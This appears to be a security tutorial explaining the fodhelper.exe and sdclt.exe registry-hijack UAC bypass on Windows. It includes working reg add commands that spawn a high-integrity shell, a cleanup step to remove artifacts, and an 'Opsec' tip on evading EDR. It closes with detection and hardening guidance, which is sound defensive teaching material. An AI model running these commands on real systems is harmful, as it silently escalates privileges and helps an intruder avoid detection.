Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.
Introduction
User Account Control (UAC) splits a member of the local Administrators group into two tokens at logon: a filtered, medium-integrity token used for everyday processes, and a full, high-integrity administrator token that is only attached when a process is explicitly elevated and the user consents to a prompt. Microsoft has been explicit for years that UAC is a *convenience feature*, not a security boundary — and the auto-elevation mechanism it relies on for its own trusted binaries is exactly why: a short list of Microsoft-signed executables (fodhelper.exe, computerdefaults.exe, eventvwr.exe, sdclt.exe, and others catalogued by the UACMe project) are allowed to elevate to High integrity *without* showing a consent prompt at all, provided UAC is at its default setting.
These binaries decide what to launch by consulting registry paths and file associations that a standard user, not just an administrator, can write to. That gap — a Microsoft-signed, silently-auto-elevating process reading a user-writable location to decide what code to run next — is the entire bug class: an attacker already running at medium integrity as an administrator (the normal post-UAC-split state for any admin account) can plant a command in that location and trigger the binary to get a silent jump from medium to high integrity, with no prompt and no password.
Attack Prerequisites
This is specifically a UAC-bypass technique, not a privilege-escalation primitive on its own — it upgrades an existing admin token’s integrity level rather than granting new group membership:
- Current user is a member of the local Administrators group, currently running at medium integrity (the default state after any non-elevated logon/process launch on an admin account) — the technique does *not* work for a genuinely standard, non-admin user.
- UAC is at its default notification level (“Notify me only when apps try to make changes to my computer,” without “Always notify”) — auto-elevation for Microsoft binaries is disabled entirely when UAC is set to “Always notify.”
- Write access to the current user’s own registry hive (
HKEY_CURRENT_USER) — no special privilege is required for this; every user can write to their ownHKCU. - The target auto-elevating binary is present and reachable on the host —
fodhelper.exe,computerdefaults.exe, andsdclt.exeall ship with default Windows installs.
How It Works
Windows resolves file-type and protocol handlers by merging HKEY_CLASSES_ROOT, which is itself a merged, precedence-ordered view of HKEY_CURRENT_USER\Software\Classes and HKEY_LOCAL_MACHINE\SOFTWARE\Classes. Per-user entries under HKCU\Software\Classes take precedence over the machine-wide HKLM entries when both exist — a deliberate design so that per-user file-association customizations work without needing admin rights. Several of Microsoft’s auto-elevating binaries use this merged view internally to resolve a handler (for example, the ms-settings protocol handler used by fodhelper.exe) rather than reading only from HKLM. Because the binary is itself manifested autoElevate=true and Microsoft-signed, Windows lets it silently acquire a full administrator token — and it then trusts whatever handler command it resolves from the registry, including one the current medium-integrity process just wrote to its own HKCU hive.
fodhelper.exe (the “Optional Features” applet) is the canonical example: on launch it queries HKCU\Software\Classes\ms-settings\Shell\Open\command to determine how to open an ms-settings: URI. If that key exists and contains a DelegateExecute value, fodhelper.exe invokes the associated command *with its own already-elevated, high-integrity token* — the attacker never had to write anywhere near HKLM or pass through the consent prompt, because the write happened entirely inside a registry hive the attacker already owned. computerdefaults.exe and sdclt.exe are abused the same way, via HKCU\Software\Classes\exefile\shell\runas\command\isolatedCommand for sdclt and similar ms-settings/.exe handler hijacks for computerdefaults.
The reason “Always notify” closes this off is that at that setting, *every* elevation request — including Microsoft’s own signed, auto-elevating binaries — is routed through the interactive consent prompt on the secure desktop rather than being silently approved. The auto-elevate manifest flag only skips the prompt at the default, more permissive notification level, which is why Microsoft’s own hardening guidance for this bug class is simply “set UAC to Always Notify” rather than a patch — the individual registry-hijack primitives keep shifting (UACMe documents dozens of variants across different signed binaries) but all of them depend on auto-elevation being enabled at all.
Vulnerable Code / Configuration
The condition that makes the bypass possible is entirely in fodhelper.exe‘s manifest and its registry lookup order — nothing is misconfigured, this is stock Windows behavior. The manifest marks it for silent elevation:
<!-- excerpt of fodhelper.exe's embedded application manifest -->
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"/>
<autoElevate xmlns="urn:schemas-microsoft-com:asm.v3">true</autoElevate>
…and it resolves the ms-settings handler from a hive the current user, not an administrator, controls. A freshly-logged-on admin account already owns this key path outright — no exploit is needed to reach it, only the decision to write to it:
HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command
(default) REG_SZ <attacker-controlled command>
DelegateExecute REG_SZ (empty)
; fodhelper.exe reads this key BEFORE falling back to HKLM's
; legitimate ms-settings handler, and executes it at High integrity.
Walkthrough / Exploitation
Plant the hijacked handler in the current user’s own hive — this write requires no elevation and triggers no UAC prompt, because HKCU is already fully owned by the current, non-elevated process:
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe /c start cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
Launch the auto-elevating binary; it silently acquires a High-integrity token and, in resolving the ms-settings handler, runs the attacker’s command inside it — no prompt is shown:
C:\Windows\System32\fodhelper.exe
# a new cmd.exe window opens; verify the integrity level jumped:
whoami /groups | findstr /i "Mandatory Label"
# expect: Mandatory Label\High Mandatory Level
Clean up the hijacked key once the elevated shell is captured, so the handler does not linger as an obvious artifact:
reg delete HKCU\Software\Classes\ms-settings /f
The sdclt.exe variant follows the same pattern against a different registry path (exefile\shell\runas\command\isolatedCommand), useful as a fallback when fodhelper is monitored or blocked:
reg add "HKCU\Software\Classes\exefile\shell\runas\command" /ve /d "cmd.exe" /f
reg add "HKCU\Software\Classes\exefile\shell\runas\command" /v IsolatedCommand /d "cmd.exe" /f
C:\Windows\System32\sdclt.exe
Note: Microsoft does not treat this class of bug as a vulnerability worth a CVE or security patch, since UAC is explicitly documented as not a security boundary — individual auto-elevate/registry-hijack combinations have been broken and re-found across Windows 7 through 11 for over a decade with no dedicated fix beyond “raise the UAC level.” The UACMe project (hfiref0x/UACMe on GitHub) catalogs dozens of variants against different signed binaries.
Opsec: Metasploit’s
exploit/windows/local/bypassuac_fodhelpermodule automates exactly this sequence and is heavily signatured by EDR; hand-rolling the tworeg addcommands and launching the binary directly, as shown above, is quieter and gives more control over cleanup timing.
Detection and Defense
Because the technique depends on a specific, well-documented UAC setting and a narrow set of registry paths, both prevention and detection are cheap relative to the risk:
- Set UAC to “Always notify” — this is the single control that fully disables silent auto-elevation for these binaries; deploy via Group Policy (
ConsentPromptBehaviorAdmin). - Remove standard users from the local Administrators group wherever possible — the technique cannot elevate a genuinely non-admin token past medium integrity.
- Monitor registry writes to known hijack paths — Sysmon Event ID 13 (RegistryEvent value-set) on
HKCU\Software\Classes\ms-settings\Shell\Open\commandandHKCU\Software\Classes\exefile\shell\runas\commandis a high-fidelity signal, since legitimate software essentially never writes there. - Watch process lineage —
fodhelper.exe,computerdefaults.exe, orsdclt.exespawningcmd.exe,powershell.exe, or any non-Microsoft binary as a child (Sysmon Event ID 1) is anomalous and worth alerting on directly. - Application allow-listing (WDAC/AppLocker) constrains what the hijacked handler can actually execute even if the registry write succeeds.
Real-World Impact
Auto-elevation registry hijacks are a staple first-stage technique in commodity malware and ransomware loaders because they require no exploit development, work reliably across many Windows versions with only minor path changes, and need nothing beyond standard admin-group membership — already the default local configuration on a large fraction of consumer and even some enterprise endpoints. Their persistence across a decade of Windows releases, despite being public since Windows 7/8, is a direct consequence of Microsoft’s own position that UAC is a convenience boundary rather than something warranting a security patch.
Conclusion
UAC’s auto-elevation list trusts a handful of signed binaries to run without prompting, and those binaries trust registry locations a standard admin account can write without ever crossing the consent boundary — the combination turns “already an administrator at medium integrity” into “administrator at high integrity, silently.” Since Microsoft will not patch the auto-elevation design itself, the durable mitigations are policy-level: raise UAC to Always Notify, keep users out of the local Administrators group by default, and alert on writes to the small set of registry paths these bypasses actually depend on.
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:
Comments